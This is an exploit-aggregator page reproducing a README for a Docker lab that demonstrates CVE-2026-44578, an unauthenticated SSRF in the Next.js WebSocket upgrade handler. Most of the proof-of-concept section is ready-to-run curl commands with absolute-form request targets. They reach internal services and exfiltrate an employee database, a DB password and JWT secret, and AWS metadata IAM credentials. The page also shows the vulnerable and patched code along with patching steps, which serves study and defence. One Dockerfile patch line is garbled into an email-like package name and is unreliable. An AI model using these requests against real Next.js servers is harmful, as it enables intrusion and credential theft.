Sploitus

Exploit for CVE-2026-44578

kitploit Β· 2026-09-02

Exploit Code

MARKDOWN289 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-LXXEXXBXX-CVE-2026-44578
# CVE-2026-44578 β€” Next.js WebSocket Upgrade Handler SSRF Lab

> **Security Academy CERT Project** vulnerability reproduction lab environment for mentor demos

* * *

## Overview

Item| Details  
---|---  
CVE| CVE-2026-44578  
GHSA| GHSA-c4j6-fc7j-m34r  
CVSS| 8.6 (High)  
CWE| CWE-918 (Server-Side Request Forgery)  
Affected Versions| Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4  
Patched Versions| 15.5.16+, 16.2.5+  
Authentication Required| None (Unauthenticated)  
  
Next.js's WebSocket upgrade handler (`upgradeHandler`) proxies **absolute-form URIs** (RFC 7230 Β§5.3.2) inserted into the HTTP request line to internal services without validation.  
This allows arbitrary HTTP requests to be sent to internal services that are inaccessible from the outside (SSRF).

* * *

## Lab Architecture

root@kitploit:~
    
    
    [Attacker]
        β”‚
        β”‚  WebSocket Upgrade request
        β”‚  GET http://internal-svc/api/v1/employees HTTP/1.1
        β”‚  Connection: Upgrade  /  Upgrade: websocket
        β–Ό
    [nextjs-vuln :3000]  ← externally exposed
        β”‚
        β”‚  unvalidated proxy (proxyRequest)
        β–Ό
    [internal-svc :80]   ← internal network only, no direct external access
        β”‚
        β”œβ”€β”€ GET /api/v1/employees   β†’ employee DB (nameΒ·emailΒ·salaryΒ·pw_hash)
        β”œβ”€β”€ GET /api/v1/config      β†’ DB passwordΒ·JWT secretΒ·Redis password
        └── GET /latest/meta-data/… β†’ AWS IMDS simulation (IAM credentials)
    

docker-compose β”œβ”€β”€ nextjs-vuln (Next.js 15.5.0, vulnerable version) └── internal-svc (FastAPI + SQLite, internal network only)

* * *

## Environment Setup and Execution

### Prerequisites

  * Docker 24+
  * Docker Compose v2



### Execution

root@kitploit:~
    
    
    git clone https://github.com/<your-org>/CVE-2026-44578.git
    cd CVE-2026-44578
    docker compose up --build
    

After the build completes, it takes 30–60 seconds for Next.js to be ready.  
Verify readiness:

root@kitploit:~
    
    
    curl -s http://localhost:3000/api/hello | grep ok
    

* * *

## Vulnerability Reproduction (PoC)

### Attack Flow

Normal HTTP requests only include a path in the form `GET /path HTTP/1.1`,  
but RFC 7230 Β§5.3.2 allows **absolute-form** , which places the full URL in the request line.

GET http://internal-svc/api/v1/employees HTTP/1.1 ← absolute-form URI Host: localhost:3000 Connection: Upgrade Upgrade: websocket

Next.js's `upgradeHandler` parses this URL and, if `parsedUrl.protocol` exists,  
calls `proxyRequest()` without destination validation.  
The `curl --request-target` option can be used to specify the request line directly.

### STEP 1 β€” Confirm direct access to internal service is blocked

root@kitploit:~
    
    
    curl -s --connect-timeout 3 http://internal-svc/health
    # β†’ connection failed (internal network cannot be reached directly from outside)
    

### STEP 2 β€” SSRF health check of internal service

root@kitploit:~
    
    
    curl -s --http1.1 \
      --request-target "http://internal-svc/health" \
      -H "Connection: Upgrade" \
      -H "Upgrade: websocket" \
      -H "Sec-WebSocket-Version: 13" \
      -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
      http://localhost:3000
    

### STEP 3 β€” Exfiltrate employee DB

root@kitploit:~
    
    
    curl -s --http1.1 \
      --request-target "http://internal-svc/api/v1/employees" \
      -H "Connection: Upgrade" \
      -H "Upgrade: websocket" \
      -H "Sec-WebSocket-Version: 13" \
      -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
      http://localhost:3000
    

β†’ Returns all namesΒ·emailsΒ·salariesΒ·bcrypt hashes

### STEP 4 β€” Exfiltrate app config (DB passwordΒ·JWT secret)

root@kitploit:~
    
    
    curl -s --http1.1 \
      --request-target "http://internal-svc/api/v1/config" \
      -H "Connection: Upgrade" \
      -H "Upgrade: websocket" \
      -H "Sec-WebSocket-Version: 13" \
      -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
      http://localhost:3000
    

### STEP 5 β€” Exfiltrate AWS IMDS credentials (2 stages)

root@kitploit:~
    
    
    # 5-1: Enumerate IAM role names
    curl -s --http1.1 \
      --request-target "http://internal-svc/latest/meta-data/iam/security-credentials/" \
      -H "Connection: Upgrade" -H "Upgrade: websocket" \
      -H "Sec-WebSocket-Version: 13" \
      -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
      http://localhost:3000
    
    # 5-2: Exfiltrate credentials
    curl -s --http1.1 \
      --request-target "http://internal-svc/latest/meta-data/iam/security-credentials/ec2-hr-api-role" \
      -H "Connection: Upgrade" -H "Upgrade: websocket" \
      -H "Sec-WebSocket-Version: 13" \
      -H "Sec-WebSocket-Key: AAAAAAAAAAAAAAAAAAAAAA==" \
      http://localhost:3000
    

* * *

## Internal Working Principle

### Vulnerable Code (`router-server.js` upgradeHandler)

root@kitploit:~
    
    
    // Next.js 15.5.0 ~ 15.5.15 β€” vulnerable
    const { matchedOutput, parsedUrl } = await resolveRoutes({
        req, res: socket, isUpgradeReq: true,
        signal: signalFromNodeResponse(socket)
    });
    if (matchedOutput) return socket.end();
    if (parsedUrl.protocol) {                              // ← no destination validation
        return await proxyRequest(req, socket, parsedUrl, head);
    }
    

As long as `parsedUrl.protocol` exists, it proxies immediately. Whether the target host is an internal IP or  
IMDS (`169.254.169.254`), it is always forwarded.

### Official Patch (`15.5.16+`)

root@kitploit:~
    
    
    // Next.js 15.5.16+ β€” patched
    const { finished, matchedOutput, parsedUrl, statusCode } = await resolveRoutes({
        req, res: socket, isUpgradeReq: true,
        signal: signalFromNodeResponse(socket)
    });
    if (matchedOutput) return socket.end();
    if (finished && parsedUrl.protocol) {                  // ← finished guard added
        if (!statusCode) {
            return await proxyRequest(req, socket, parsedUrl, head);
        }
        return socket.end();
    }
    

`finished` is only `true` when the request matches a normal route inside `resolveRoutes`.  
Since absolute-form URIs do not match normal routes, `finished === false` β†’ proxy is blocked.

### Lab Patch Structure (`patch-for-lab.js`)

In the reproduction environment, `resolve-routes.js` misinterprets `://` as consecutive slashes and  
collapses `http://host/path` to `http:/host/path`, which inadvertently blocks the SSRF.  
`patch-for-lab.js` disables this behavior so the vulnerability can be reproduced normally.

* * *

## Patching Methods

### Method 1 β€” npm upgrade (recommended)

root@kitploit:~
    
    
    # 15.x series
    npm install next@">=15.5.16"
    
    # 16.x series
    npm install next@">=16.2.5"
    
    # Verify version
    npx next --version
    

### Method 2 β€” Pin version in Dockerfile

root@kitploit:~
    
    
    RUN npm install some-email@example.com --legacy-peer-deps
    # or pin "next": "15.5.16" in package.json, then
    RUN npm ci
    

### Method 3 β€” Direct code patch without version upgrade

Apply the official patch logic to the current version using the included `patch-defense.js`:

root@kitploit:~
    
    
    # Inside the lab container
    node patch-defense.js
    
    # Check status only (no file modification)
    node patch-defense.js --check
    

After applying the patch, SSRF requests are blocked without a response.

* * *

## File Structure

CVE-2026-44578/ β”œβ”€β”€ docker-compose.yml β”œβ”€β”€ nextjs-app/ β”‚ β”œβ”€β”€ Dockerfile β”‚ β”œβ”€β”€ patch-for-lab.js # resolve-routes patch (for SSRF reproduction) β”‚ β”œβ”€β”€ patch-defense.js # router-server defense patch (proves code-level defense) β”‚ └── ... β”œβ”€β”€ internal-svc/ β”‚ β”œβ”€β”€ Dockerfile β”‚ β”œβ”€β”€ server.py # FastAPI internal service (SQLite + IMDS simulation) β”‚ └── requirements.txt └── exploit/ └── demo.sh # 6-stage automated demo script

* * *

## Disclaimer

This repository is provided **solely for security education and vulnerability research purposes**.  
Using it for unauthorized attacks against real services is illegal, and  
all testing must be performed only in environments you own or have explicit permission to test.

> This repository is intended solely for **educational and authorized security research**.  
>  Unauthorized use against production systems is illegal.  
>  All testing must be performed only in environments you own or have explicit permission to test.

* * *

## References

  * Next.js Security Advisory (GHSA-c4j6-fc7j-m34r)
  * RFC 7230 Β§5.3.2 β€” absolute-form
  * CWE-918: Server-Side Request Forgery